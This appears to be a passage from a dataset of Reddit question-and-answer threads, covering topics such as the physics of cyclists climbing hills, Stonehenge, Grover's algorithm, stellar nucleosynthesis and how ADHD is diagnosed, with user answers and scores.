{"q_id": "2xrw4x", "title": "If two cyclists - one 50kgs and one 100kgs ride up a hill, will the heavier cyclist have done exactly twice the work?", "selftext": "Let's assume they are on identical bikes and their frontal profile is identical (which is obviously unlikely but it makes life easier) so air resistance is not a factor.\n\nWill the heavier rider have done exactly twice the work add the lighter rider? Logic tells me that the potential energy of the heavier rider should be double that of the lighter rider, but I didn't do physics at school, so I could well be wrong.\nIf both riders were running a power meter (powertap, quarq etc) well that show double the work having been done?\n\nAnd what is the appropriate measurement for that? Watt hours?\n\n-----EDIT-----\n\nThanks for the great answers everyone. I didn't expect this to hit the front page - this is my first ever post to Ask Science.\n\nI posted it a few days ago and it got deleted - I pored over the submission rules to see what had gone wrong but it had just got caught in the spam filter - and now here it is on the front page! Submitted it when I went to bed and woke up to 400 odd comments - am working through them now.\n\nAnd to everyone who said it wouldn't be double due to bike weight you are absolutely right. I should have had a 50kg rider and a 110kg rider both on 10kg bikes. But that is why I don't even science, bro.\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2xrw4x/if_two_cyclists_one_50kgs_and_one_100kgs_ride_up/", "answers": {"a_id": ["cp2tnsf", "cp2tt2u", "cp2u79p", "cp2xouh", "cp2xuu6", "cp2y1xt", "cp2ywxx", "cp2z9xy", "cp2zkx6", "cp2zxld", "cp30ier", "cp32zqr", "cp34z3j", "cp3d3kj", "cp3fcdl", "cp3vcsw"], "score": [5, 926, 51, 189, 2, 5, 6, 2, 5, 16, 2, 2, 2, 2, 2, 2], "text": ["Ok so work done is force multiplied by distance an is measured in joules.\n\nWe can work out the force with\n\nF=ma\n\nSo if we assume the two cyclists are accelerating at the same velocity (which is unlikely but I'll use it in this scenario). Since air resistance isn't a factor you've made answering this easier. For the acceleration we'll use 2ms^(-2).\n\nSo is F=ma then force = mass x acceleration.\n\nLighter cyclist:\n\nF=ma\nF=50 x 2\nF=100N\n\nHeavier cyclist:\n\nF=ma\nF=100 x 2\nF=200N\n\nSo now that we have our force worked out we can carry on to complete the work done calculations. We will assume the distance is 1km (1000m).\n\nLighter Cyclist:\n\nE=Fd\nE=100 x 1000\nE=100000J or 100kJ\n\nHeavier cyclist:\n\nE=Fd\nE=200 x 1000\nE=200000J or 200kJ\n\nSo, as you can see from the calculations, if the only differing factor is the mass and one mass is double that of the other then your work done would be double the other's. Of course this only happens when both accelerations are exactly the same, which is unlikely.", "You are right in that the heavier cyclist would have performed twice the work against gravity, i.e. raised their gravitational potential energy twice as much (W = mgh). But the heavier cyclist would effectively do more work due to having to do more work against friction and drag. He also spends more energy pedalling as he has heavier legs.\n\n >  And what is the appropriate measurement for that? Watt hours?\n\nYou can measure work (and heat and energy) in many ways. Joule, Newton meters, Watt hours, Coulomb Volts etc. With mechanical work, such as cyclists riding up a hill, I would use Newton meters or Joule.\n\nEDIT: To reply to the most prominent follow-up comments:\n\n**you didn't account for the weight of the bicycle**\n\nI included the weight of the bicycle as well as the clothes, helmet and other carried items/accessories in the cyclist. If we only count the weight of the cyclist, the heavier one would do a little less work against gravity.\n\n**leg weight is not a factor**\n\nWhile leg weight doesn't contribute to any work against gravity. You do have to push with your legs to apply force to the pedals, and to make your legs move you have to overcome their inertia which is proportional to their mass.\n\nI cite an [example I made earlier](_URL_0_):\n\n >  Imagine if you are on a stationary exercise bicycle with no resistance and had to carry a certain amount of weight. If you carried that weight in a back pack it would make almost no difference, but if the weight were strapped on your feet it would make it harder to pedal as it would increase the inertia of your feet.\n", "The science above sounded correct, bit I'm just wondering : if they're on identical bikes, legs call them 10kgs, is it not 110kgs the fat guy has to get up the hill versus 60kg for the skinny guy? This not being 'double' at all? The hike has to get up too, and part of your force drives you and the bike as a system ", "If the problem is reduced to the ideal case - no air resistance, weightless bikes with frictionless drivetrains, inflexible wheels with no slippage, then yes, the heavier rider will have done twice the work.\n\nYou can see in all the other answers that there are a lot of other factors (air resistance, bike weight, tire flex, etc.) that can be added to the equation to get a more precise answer.", "A possibility that no one has mentioned here yet is that there is both:\n\n1. A point that the effort will be precisely equal to double\n\n2. A point that the effort will not be precisely equal to double.\n\nWithin the physical structure there can be many different amounts of 'effort' being placed with angles/weights/momentum of arms and legs. So let us assume that both cyclists are identical in everything except weight. Distributed identically.\n\nFor all sizes of rider (from microscopic to infinite) there exists a scale of how much effort is applied to the bike. There also exists a point on this scale that represents the most efficient power to weight ratio. \n\nIf you can place the weights of both riders equidistant on either side of that point of perfect ratio, then you could find exactly double the energy used.\n\nSo, do OP's 50kg and 100kg example weights represent this? Unknown, but also not really relevant. As there is also a selection of cycling styles (stand up, sit down, apply max on down pedal only, shift weight from foot to foot, etc...) that both cyclists can use. Even assuming identical styles, it stands to reason that 2 weights that do not produce double effort, could be made to by changing cycling styles as they manipulate acceleration, friction and inertia differently. And it is those physical forces that will mostly regulate the rates of changes near the point of exactly double effort. ", "Like many answers below, (assuming massless bicycles) the 100 kg cyclist will have created exactly twice as much potential energy by increasing the distance from the Earth's centrer of mass, but not exactly twice as much heat from air friction and air carrying away heat from their muscles. (", "Work done is measured in J.\nLet's say riding up the hill changes your altitude by 10m.\nGPE : mgh\nHeavier : 100kg x 10N x 10m = 10000J\nLighter : 50kg x 10N x10m = 5000J\n\nSo yes the heavier cyclist does twice the work for the same change in height. ", "I used climbing power calculator behind that link.\n_URL_0_ \n\nIt gave following results on random 300m high hill, 15km/h  &  30mins.\n\nRider1 50kg + bike 10kg gave roughly 129W\n\nRider2 100kg +bike 10kg = 220W\n\nSo riding up the hill a steady pace, rider2 has to do almost double the effort. Pretty close.\n\n", "Rolling resistance in pneumatic tires is non linear with respect to tire pressure. In bicycles, tire pressure will change based on the weight of the rider. With a rider weighing twice as much the difference is significant.\n\nThe difference in bearing and chain loss are very small.\n\nThe dominant factor is potential energy (mgh) so yes twice the energy but not exactly.", "The work output of the heavier rider will be 2x the lighter rider, however the work input is not necessarily the same ratio. The two riders are probably not equally efficient at converting stored energy into useful work. \n\nAnother way to think about it is to have two riders the same size on the same bikes. One rider is an elite cyclist the other rider is an amateur. \n\nThe elite cyclist will spend less energy to perform the same amount of work as the amateur because his trained body is more efficient at converting stored energy into work output. The total useful work done is the same, but the energy spent achieving that work is not the same. ", "You are correct in that the heavier rider will have to do double the work in terms of potial energy difference.  However the difference in power output would not be double because of the other sources of drag.  \n\nWhen riding a bike a very high percentage of the work being done is to overcome aerodynamic drag, on a flat road this can be as high as 80%.  So assuming that frontal area is the same, and things such as rolling resistance remain the same, and are relatively small.  The heavier rider would be doing 20% more work.\n\nObviously this is a very simplified case and I would need some paper to come up with a proper in depth answer but the idea is the same.  To measure the power use Watts (J/s) for work use Joules.\n\nTl:Dr: the work would not double because of larger sources of drag in the system ", "Not at all. You are forgetting that the mass of the bike is included in the problem. Let's say the bike is 10kg, then your two riders will have to increase the gravitational energy of them and the bike together, effectively working against 60kg and 110kg.\n\nThe other problem is resistance against the road, which is different from air resistance. Newton's 3rd law states that every action has an equal and opposite reaction (but be careful interpreting this). This means that when your bike is sitting on the road, it is applying a force to the road. The road applies **exactly the same force** back on the bike to stop it sinking into the road. This force is at right angles to the road (perpendicular), so it is also what is responsible for pushing you down the hill. It is called the Normal Reaction Force (becase normal and perpendicular are the same thing in maths). Friction can be simplified to a fraction of this force in the equation F = uR (the u is actually a greek letter), so this means that an object with a higher reaction force experiences more friction when moving along the surface. \"u\" is different for different surfaces.\n\nThe upshot of this is that your heavier rider will have more friction on the road.\n\nTo increase their potential energy, both riders will have to do work towards that energy, but will also be doing work against friction (which is lost as heat and sound). Calculating the work against friction is very simple. You take the frictional force \"F\" (from the equation earlier) and multiply it by the distance that force acted in (the distance your riders covered). From this you get the exact amount of energy required to overcome that force.\n\nSo in short, the heavier rider will do less than twice of the smaller to work against the weight of the bike, but more work than the smaller against friction.", "If we are talking about pure physics here, then yes, twice the weight equals twice the work (energy). It's easy to see from the potential energy formula many people provided here: E=mgh. There is only one extra condition that must be satisfied though: **both riders must be going with the same speed**. Otherwise, according to the kinetic energy formula K=mv^(2)/2 the faster rider will have to spend more energy.\n\nNow, if we are talking about human bodies, then the proportion is kind of skewed as a person's metabolic rate effects the outcome. According to many studies, heavier individuals spend more energy that lighter ones doing identical work, even laying down motionless (bodily functions as breathing, blood pumping, heat production, etc. take greater amount of energy for heavier bodies). So, I would assume that a real 100kg person would have to spend **more than twice the energy** of the 50kg one climbing uphill the same distance and with the same speed.     ", "The amount of work that the cyclists perform is not how hard they are working but the summation of the force exerted on the pedals over the distance the pedals turned. Our bodies exert more work to do work than we transfer. We burn calories and exert energy/work simply holding ourselves steady, balancing, etc.\n\nGiven that its the work transferred to the pedals what is the ration of the work the light cyclist did versus the heavy one? The bike obviously matters. Also lets assume they transfer work to potential energy of the hill at 70% each irrespective of the fact that the heavy rider is transferring more.  If both bikes are 10kgs the total mgh of each rider at the top of the hill is gh*(50+10) and gh*(100+10). As each rider only transferred 70% of their work to the hill the ration remains the same at 110/60.  The lighter rider had to pedal a proportionally heavier bike up the hill so the ratio is not 2:1\n\nOther factors are open to speculation but a heavy rider is not going to naturally be less aerodynamic or efficient at riding a bike than a light rider. ", "This is really easy. Work = Energy. In this case the energy changed is Potential. mass times acceleration times height since we are working with a change in gravitational potential energy.\n\nYou just take the mass of the bike rider and multiply by the acceration of gravity times the height of the hill (all in the same units.) It's not exactly double because you have to factor in the mass of the bike plus the rider. However if the bike is very very light compared to the rider you can ignore it and get a rough number. In this case, yes twice the work. However to be accurate you have to factor in the mass of the bike since it's probably about 10-15% of the rider weight. \n\nYou can also ignore all the other issues unless they are traveling at a speed where the air resistance starts to matter, but even assuming \"fat\" rider vs. a \"skinny\" rider, the difference in cross sectional area is also going to be very very small. Again, maybe 10%. When you factor in the speed at which they are riding it's irrelevent. At a slow speed the \"fat\" rider could have a parachute behind him and it would not make any difference. :-)", "This being the case the next question is: \"what factor(s) counter the advantages of lower body weight when cycling resulting in an optimum weight that is above the minimum weight possible for a live human?\". Bradley Wiggins is 77 kg"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/askscience/comments/2xrw4x/if_two_cyclists_one_50kgs_and_one_100kgs_ride_up/cp34z5w"], [], [], [], [], [], ["http://www.u.arizona.edu/~sandiway/bike/climb.html"], [], [], [], [], [], [], [], []]}
{"q_id": "7h3vgk", "title": "In 1254, Mongke Khan supposedly received a debate between a Christian, Muslim, and Buddhist. How accurate is this claim?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7h3vgk/in_1254_mongke_khan_supposedly_received_a_debate/", "answers": {"a_id": ["dqop594"], "score": [19], "text": ["Here is a past thread that answers precisely this question, with an excellent answer by /u/b1uepenguin: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/71so3q/in_1254_mongke_khan_supposedly_hosted_a_debate/dndqq1d/"]]}
{"q_id": "bvank3", "title": "how do deadlifters not drop the weights when they only hold on with the curls of their fingers? how do the other muscles ease the burden?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/bvank3/eli5_how_do_deadlifters_not_drop_the_weights_when/", "answers": {"a_id": ["epncsmj", "epnctf2", "epnnmh5", "epnuohk", "epo5db1"], "score": [6, 3, 3, 2, 2], "text": ["They typically use lifting straps for loads that large.  They spread the load beyond the fingers to the wrists/arms/shoulders more evenly.", "They use special wrist wraps the hold the weight or they turn one hand so the bar can't roll.", " > The world record deadlift with equipment (including a deadlift suit and weightlifting straps) is 500 kg (1,102.3 lb), held by Eddie Hall.\n\n > The world record deadlift without equipment is 460.4 kg (1,015.0 lb), held by Benedikt Magn\u00fasson.\n\n_URL_0_\n\nI've competed in raw powerlifting events and pulled close to 600 lbs back in my stronger, younger days.  You generally use and over/under grip.  My grip was very strong and I would do grip-training exercises to increase by ability to maintain control of the bar.  I never really held the bar in my finger area, maybe a few times when my grip was giving out.\n\nLifting straps still require some grip strength but put a lot of pressure on the wrists.  I used them occasionally for training purposes.", "An experienced lifter can very well deadlift 200 to even 300 ish kg without any accessories. \nThere are different grip styles though. For example a double overhand grip is much harder than a cross grip. Cross means your palms facing in different directions instead of the same. With the addition of lifting chalk you\u2019ll have quite some grip strength.", "In addition to the other answers, there\u2019s also something called the hook grip.  It involves using your thumb, and friction and gravity to hold your grip closed.  It hurts but it helps."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://en.wikipedia.org/wiki/Deadlift#World_records"], [], []]}
{"q_id": "19j3si", "title": "Why were things like Stonehenge and the Moai on Easter Island only build during the Stone Age? ", "selftext": "Megalithic structures like [Stonehenge](_URL_0_), ['Hunebedden'](_URL_2_) and the [Moai](_URL_1_) were build all over the world, but mainly in the Neolithic era, the last part of the Stone Age. \n\nCathedrals and structures like the Colosseum are big and impressive too, but they do not consist out of these incredibly large stones. Why did people in the Stone Age build so much with these large stones, and why did we stop using them after the Stone Age? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/19j3si/why_were_things_like_stonehenge_and_the_moai_on/", "answers": {"a_id": ["c8oj7be", "c8oju8u", "c8ok3r4", "c8okfq1"], "score": [3, 2, 3, 2], "text": ["I\u2019ll do my best to answer this but due to lack of written record we cannot say for sure.\n\n\nFirstly, these were not just made in the Neolithic and not all of them were made out of stone. Wood was used too and around 2700BC (in Britain) they were being replaced with stone. The monuments, although built in the Neolithic, there is evidence of them being used in later periods. There was not a cut of point that applied everywhere.\n\nAs to why they stopped using stone, we haven\u2019t. Stone is still a widely used resource; it\u2019s just that how it is used changed. These structures are not \u2018things\u2019, they are monuments of cultural value and are affected by cultural change.  Towards the end of the Neolithic mortuary rites were changing from community to the individual (passage graves to round barrows in Britain). As well there was development in technology and in metallurgy. There would have been many social factors affecting the decline in importance of stone monuments. \n\n \nStone is thought to have been chosen for different properties. In general, in this period style and functionality was important for stone choice. This can be seen in the source locations of axe sites such as Great Langdale, in particular the Pike o\u2019 Stickle and Harrision Stickle site. They are near the summit and yet the bottom has the same stone type. There are other examples like this.  You can also see particular stones being chosen for structures such as New Grange use of quartz in the fa\u00e7ade travelled 60km and the Stonehenge stones coming from Pembrokeshire. This deliberate sourcing, to me, shows that stones took on a role outside utilitarian purposes. I think understanding this helps to understand why stone. Also stone lasts, it\u2019s a statement and it is strong. What other resource did they have, that had these properties. It was mostly likely through its use that it started to develop cultural symbology.  \n\n\nI\u2019m not really sure this answers you question fully though. If you ask more specific questions, I\u2019ll try my best to answer them.", "Follow up question: Could one call monuments like [Mount Rushmore](_URL_0_) a continuation of these structures? Modern technic allowing for carving them out of a whole mountain, instead of \"only\" a huge stone?", "Well, the pyramids weren't built during the stone age and they use roughly stonehenge sized stone blocks.\n\nDoes anyone know if the builders of the monuments you mention had access to mortar?  Without strong mortar, you _can't_ build sizable lasting structures like pillars and arches without just using large rocks.  ", "The Moai were built between 1250 and 1500, according to the Wikipedia.  Cultures are referred to as neolithic when they possess certain kinds of tools and structures and not others - there isn't a global cut-off date.\n\nAlso, structures made with large individual stones have also been made by cultures well past the neolithic - obelisks from bronze-age Egypt, rock-cut architecture in India, Mt. Rushmore...\n"]}, "title_urls": [], "selftext_urls": ["http://upload.wikimedia.org/wikipedia/en/f/fe/Stonehenge_Distance.jpg", "http://0.tqn.com/d/architecture/1/0/F/l/EasterIsland02.jpg", "http://schoolinbos.nl/wp-content/uploads/2010/05/Hunebed_D53_Havelterberg-1024x659.jpg"], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Mount_Rushmore"], [], []]}
{"q_id": "27w4bx", "title": "why are workers migrating out of india,nepal and other south and southeast asian countries into qatar, despite poor working conditions?", "selftext": "I am wondering what the motives of these migrants are. Why do workers leave their native countries to travel to places like Qatar in order to build infrastructure for the World Cup. Despite the human rights of workers in Qatar being violated, why do migrants still come.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/27w4bx/eli5_why_are_workers_migrating_out_of_indianepal/", "answers": {"a_id": ["ci4y6pw", "ci4zfbo"], "score": [2, 2], "text": ["Poor working conditions and human rights violations doesn't mean it isn't still an overall improvement.", "It is the *relative* equivalent of when people in the West go to work on offshore oil rigs or crab fishing boats in the North Sea, or in other dangerous and uncomfortable environments. \n\nThe conditions are crazy bad and potentially life threatening, but some people do it for a set period of time, save money, and go back home.\n\nAlso, the cost of living in the countries the workers come from is dramatically lower than in the countries they are working in; the amount of money these workers can *potentially* save can be used to support entire families or buy property or farms or businesses. \n\n*Potential* is the operative word when it comes to saving money, though.  Unlike working on an oil rig, there are plenty of opportunities for workers to spend their wages, and not all living costs are met by employers.  \n\nAnd even with the exchange rate between countries being in the workers' favor, it really does seem like a big, unpleasant risk to take."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "k4pgz", "title": "why can't they make dslr's with a \"superzoom\" capability?", "selftext": "I've have been looking to buy a DSLR for some time but hate the idea of having to spend an extra thousand for extra lenses and having to carry a huge bag around and swap lenses every other pic. \n\nI like the super zoom bridge cameras except they generally seem to produce crappy images in varying conditions.\n\nWill camera manufacturers ever come out with a DSLR with built-in super zoom capabilities? Why haven't they been able to yet?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/k4pgz/why_cant_they_make_dslrs_with_a_superzoom/", "answers": {"a_id": ["c2hhl9y", "c2hhl9y"], "score": [5, 5], "text": ["\nIt's a matter of the size of the image sensor... the tiny little sensor on a super zoom camera has a 'normal' (say, 50mm equivalent in a 35mm film camera) focal length is, what, 11mm?   So the 600mm equivalent on a 35mm camera is actually (I don't know, it's easy to look up) is maybe 125mm in reality on that tiny sensor.\n\nA DSLR has a much larger sensor, close to the size of a 35mm film frame, so you're going to need the same focal length to get the same results, i.e., 600mm to act like a 600mm lens on a 35mm film camera.\n\nThe downside of the superzoom sensor is poor low light behavior, primarily.\n\nHope this makes sense... ", "\nIt's a matter of the size of the image sensor... the tiny little sensor on a super zoom camera has a 'normal' (say, 50mm equivalent in a 35mm film camera) focal length is, what, 11mm?   So the 600mm equivalent on a 35mm camera is actually (I don't know, it's easy to look up) is maybe 125mm in reality on that tiny sensor.\n\nA DSLR has a much larger sensor, close to the size of a 35mm film frame, so you're going to need the same focal length to get the same results, i.e., 600mm to act like a 600mm lens on a 35mm film camera.\n\nThe downside of the superzoom sensor is poor low light behavior, primarily.\n\nHope this makes sense... "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1ufy50", "title": "Can someone in simple terms explain the Grover's Search Algorithm in the context of quantum computing?", "selftext": "In researching quantum computing, I've come across the question: how does a quantum computer \"collapse\" on the correct answer? Through googling various questions I got to the Grover Algorithm. Though superficially, I understand what it does and how it works, I would like to know mathematically how it works. Literally, it's all Greek to me. \n\nAnyway, in the context of quantum computing, I've come to the conclusion (if I'm wrong, please tell me) that quantum computers use Grover's Algorithm to simultaneously \"guess and check\" answers to a given problem faster than a classic computer by inverting the function. But as a high school student, I lack enough knowledge of probability and computer science to fully understand it. \n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ufy50/can_someone_in_simple_terms_explain_the_grovers/", "answers": {"a_id": ["cehsvq1"], "score": [3], "text": ["Since no one gave you an answer, I'll give you the short of it. \n\nConsider the problem. You're looking for a single bitstring of length n. The number of possible bitstrings is 2^n. Since there's only one right answer, the number of wrong answers is 2^n  - 1. Quantum mechanics can give you a \"state\" that's a \"superposition\" of the correct and all the wrong answers. Since there are so many more wrong answers, your chance of getting the right answer if you measure is extremely small. So we need to move the state closer to the right answer.\n\nNow consider a normal clock. Ignore everything between 3 and noon. 3 o clock is the wrong answers and noon is the right answer. Initially your state is almost all wrong answers and therefore very close to 3.  There's no way you're going to understand the math, but what you can do is the following:\n\nConsider where you start on the clock s. For simplicity let's say it's at 2.59 o clock. Now you can flip the state around the set of bad answers, which sets your state at 3.01 o clock. That seems to do you no good and just move you further away from the right answer. But it turns out you can flip back around s which gives you 2.57 o clock. Next round will be 2.57 - >  3.03 - >  2.51 and so on. After enough rounds you'll get close to noon. \n\nThere's a picture on wikipedia that shows it : _URL_0_\n\n|s' >  is all the wrong answers\n\n|w >  is the right answer.\n\n|s >  is the current state\n\nU_w is step one\n\nU_s is step two\n\nedit: If you didn't fully understand that, remember you're a highschool student and about half of students on 4th year of university manage to fuck it up. Shit is hard. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://upload.wikimedia.org/wikipedia/commons/1/16/Grovers_algorithm_geometry.png"]]}
{"q_id": "a2ktiv", "title": "why do people say that we are made out of star dust? how did that happen?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a2ktiv/eli5_why_do_people_say_that_we_are_made_out_of/", "answers": {"a_id": ["eaz9u0p", "eaz9w0w", "eaz9xss", "eaz9yyw", "eazd0o4", "eazdl9g"], "score": [11, 5, 3, 3, 2, 3], "text": ["When the universe was first forming all the light elements were coming from an extremely hot plasma, things like hydrogen, helium, on down to about lithium. Anything heavier than that formed later once stars formed and began to fuse atoms together, releasing energy while producing heavier elements. This would go on until iron where fusion no longer released more energy than it consumed, at which point the stars would collapse in on themselves and then explode outward as supernova.\n\nThe materials one such star threw out included the heavy elements which make up our bodies, including stuff like the iron in our blood. Earth and everything on it was formed out of the remains of a dead star.", "We are all made of the elements the burst forth into the universe during the Big Bang. We are all various forms of matter, and the \u201cstuff\u201d that makes up the universe made the Earth, and as the Earth developed it became a proper place for the stuff that makes up.\n\nSimply put, stars are made of Helium and Hydrogen but also contain oxygen, nitrogen and carbon.\n\nWe are made of oxygen, hydrogen, nitrogen and carbon (among other things.) We\u2019re all \u201cspace dust\u201d in a way.\n\nI just read a really great layman Astrophyics book by Neil DeGrasse Tyson called \u201cAstrophysics for People in a Hurry\u201d which I would recommend to you.\n\nI\u2019m in no way an expert on this topic, but I believe this is why that phrase is popular. ", "All atoms heavier than hydrogen were created in stars. Either as a function of standard fusion, then everything heavier than Iron is formed when a Star goes Supernova. So because we are made of things like carbon we are made from the remnants of stars that have died. ", "Pretty much all the atoms that were formed in the early universe were Hydrogen or Helium atoms.\n\nThe only way other elements have been created was through nuclear fusion within stars and supernova explosions.\n\nThe cloud of gas and dust that made up the early solar system was debris from earlier stars exploding. That's why the Earth has lots of stuff on it, like Carbon, Nitrogen, Oxygen, and all that other cool stuff that you're made out of other than Hydrogen and Helium.", "Because chemistry and bio-chemistry (the materials that cells are made of, and the chemical reactions they perform to survive) do not change the atoms.  At most, life just pairs up / groups different atoms together, but the atoms don't change.\n\nOnly [nuclear reactions](_URL_0_) change the nucleus, and thus the atom, from one element to another.  Most planets, even at their core, don't have the kinds of temperatures and pressures necessary for nuclear reactions.  So basically each planet is one big blob of atoms that never change, and all the materials and chemicals are just what was around in space, collapsed by gravity to form a planet.\n\nStars do create new elements, Hydrogen to Helium, Carbon, Nitrogen, Oxygen, etc.  Heavier elements, past Iron, require more pressures and temperatures than even stars can have, so, basically, supernova explosions, etc.", "All the other comments are pretty much spot on. However, one of the particular reasons people say this is because of a [like from Carl Sagan's Cosmos](_URL_0_) (which was in turn written that way because it has good physical and astronomical evidence). That series was responsible for a lot of pop science's tropes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["https://en.wikipedia.org/wiki/Nucleosynthesis"], ["https://www.youtube.com/watch?v=MLbb92qjtwg"]]}
{"q_id": "4zgwqe", "title": "Are there possible practical uses for Armored Codpieces?", "selftext": "To define my question further, I am asking if Armored Codpieces were solely worn as an aesthetic 'fashion' item. Or there was some practical use, specifically whether it was to accommodate an 'enlargement' during battle as not to make the warrior untowardly uncomfortable.\n\nI have searched google extensively but have not arrived at an answer (Perhaps that is answer enough), however I am hoping this community could shed some light on the matter?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4zgwqe/are_there_possible_practical_uses_for_armored/", "answers": {"a_id": ["d6yk47d"], "score": [2], "text": ["\"Contrary to popular belief (and as I'm sure you know) codpieces did not actually contain what they appeared to, and as such are a purely decorative fashion accessory, and therefore codpieces on armour (or brayettes) were only around as long as codpieces were in fashion in clothing (as fashions in armour reflected fashions in clothing at this time - 16thC). Prior to the adoption of brayettes, the most common protection was a skirt of mail.\" \n\nStolen shamelessly from another history forum: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://myarmoury.com/talk/viewtopic.26597.html"]]}
{"q_id": "34yeah", "title": "why do people on reddit have a need to have multiple accounts?", "selftext": "I've been on this thing for a little more than a year. Yeah I get some have spouses or family they don't want to know who they are. But those can't be the only reason. Help an old man out.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/34yeah/eli5_why_do_people_on_reddit_have_a_need_to_have/", "answers": {"a_id": ["cqz7gc4", "cqz7jlm", "cqzc53n"], "score": [5, 7, 2], "text": ["I have two accounts. A public account where I share details of my real life and am much more measured in what I say. And this account, where I feel free to say whatever the fuck I want. ", "Some people can't face the reality of their whole personality. Rather than take responsibility for *all* of what they're saying online by presenting and preserving the record of an integrated consciousness, they compartmentalize the different faces they show to different subcultures in real life, and assign each piece of themselves different username.\n\nAlso, too: paid shills, trolls, tricksters, work accounts, vote manipulation, forgetfulness and justforthehellofit.", "Reddit has now made it possible for anything you say to suddenly appear anywhere on the internet at any time.  That can be uncomfortable if you've shared personal information on a different post. No one wants to put their jobs or friendships at risk. Plus, Reddit has some utter jerks who, if they don't like a post, will follow you around to make nasty comments on your other posts, or down vote every post you make. Multiple accounts can make sense."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "a0wg08", "title": "how is a test for adhd done?", "selftext": "Does the doctor ask you some questions, do you have to memorize some things or does he check your blood... How is it done?\n\n\nEDIT: a word", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a0wg08/eli5_how_is_a_test_for_adhd_done/", "answers": {"a_id": ["eakvpee", "eakvv6q", "eakw3i4", "eakwjto", "eakwr4p", "eakxwoc", "eal1hmh", "eal6yvi", "ealez5f", "ealj5ko"], "score": [10, 4, 4, 3, 31, 4, 4, 4, 5, 2], "text": ["Doctor asks questions.  Sometimes they can do little tests to see if they can keep focused on some not very interesting tasks.  I think the results are still pretty much always somewhat subjective though.\n\nFor example they may see if you spin around in your chair or walk around when you were told to sit or something.\n\nAnother one is that they can offer a reward but then tell them that they will get double if they wait for them to get back.  I suppose ADHD children are more likely to not wait.\n\nThese would be tests for children but once they are old enough for it to be applicable.   ", "Virtually all mental disorders (including ADHD) are defined based on pre-defined tests in the DSM (Diagnostic and Statistic Manual of mental disorders). Basically, you're asked a series of questions (young children might have a professional answer these questions for them) and if you score high enough, you meet the diagnostic criteria for that mental disorder. With very few exceptions, there's not a blood test or any other concrete test, as there's no infectious agent or bodily chemical/etc that is responsible or a clear side effect of. In the case of ADHD, the severity of said ADHD is generally determined as well to determine what treatment, if any, may be warranted.\n\nEdit: More reading: _URL_0_", "A therapist once came up with a test for ADD, she was like: \"During our conversation, did you hear the air vent humming?\" For ADHD it would be easier I think, definitely at a young age. \n\nProfessionally in my country: A teacher would notice a difference from other students, the parents fill in this big list of questions and voila your child has ADHD or ADD and gets prescribed amphetamine. \n\nIt's a broken system, doctors don't get money from non-ADHD children. Way too many children/teenagers are prescribed medication for it. It's an epidemic almost.\n\nFor adults it would go more like a professional assessing you by asking questions. Up to you if you want meds or even take his/her prognosis for the truth. ", "I took one and was diagnosed with ADHD. Tests include memory tests (remembering details of a story, arranging numbers you hear verbally), puzzles testing spatial awareness, a computer test where for 15 minutes you had to click at appropriate signals.", "In 7th grade (1997) they had someone \u201cobserve\u201d me in class for an hour, to see how often I was paying attention. Then I was taken to 2 doctors. 1 was for full physical exam including a blood test*, 2nd was a psychiatrist. She had me fill out a written test. Was maybe 8-10 pages. After that had a 1-hour verbal test with her. \nRetested in HS (2001), and it was a 3-page \u201cScale of 1-10 How often do I...\u201d written test, with a 1-hour conversation. \nRe-re-tested in college (2004), same. \nRe-re-re-tested as an adult (2008), same. \n\nNote: I skipped a couple in there because they were the same as the 3-page + chat scenario, which I believe now is pretty standard. All additional tests were done because I either moved, changed doctors, or needed/wanted to reevaluate or change my prescription.\n\n*I think my parents wanted to rule out a physical issue like thyroid, and it was 1997, when ADHD wasn\u2019t as common.\n\nIf you think you or someone close to you has ADHD and you have any questions or want to chat, I\u2019ll help however I can. 1997-2004 was a bumpy and frustrating road for me, emotionally and physically, trying to dial in communication, relationships and prescriptions. If chatting about it would prevent anyone from that pain I\u2019ll stop whatever I\u2019m doing and listen.", "I took a test where u had to solve simple puzzles and some memorization puzzles. Also I had to click a button every time I saw a red light flash before my eyes to show my reaction time", "My child's doctor gave me a form and one to her teacher. We both answered questions based on daily observations and interactions. He also spoke at length with my child and took into consideration all of his notes from previous visits. Then he combined all of that information and she was diagnosed. ", "Our 6-year-old has ADHD. They went by survey tests done by us and by his teacher (the Vanderbilt forms). Also two or three long interviews and observations during the appointments. For a young adult or adult I have no idea!", "I had a test done in my 20s at a clinic in the UK that specialises in adult ADHD ([_URL_1_](_URL_0_))\n\n & #x200B;\n\nI'd been on a waiting list with the NHS for over a year and it kept getting pushed back. The anxiety during that year was awful. I'd built it up to be something really big and scary because I kept thinking about it but actually when I decided to just pay for myself I got an appointment straight away and it was no big deal. A few questionnaires to fill in, then 2 hours with a doctor. Spend most of the time going over my answers and asking him whether my behaviours are all normal or part of ADHD and turns out I was right to suspect ADHD.\n\n & #x200B;\n\nI did say that my parents thought I had it when I was young but everyone said it's just how children are. The way he described it to me in simple terms is that 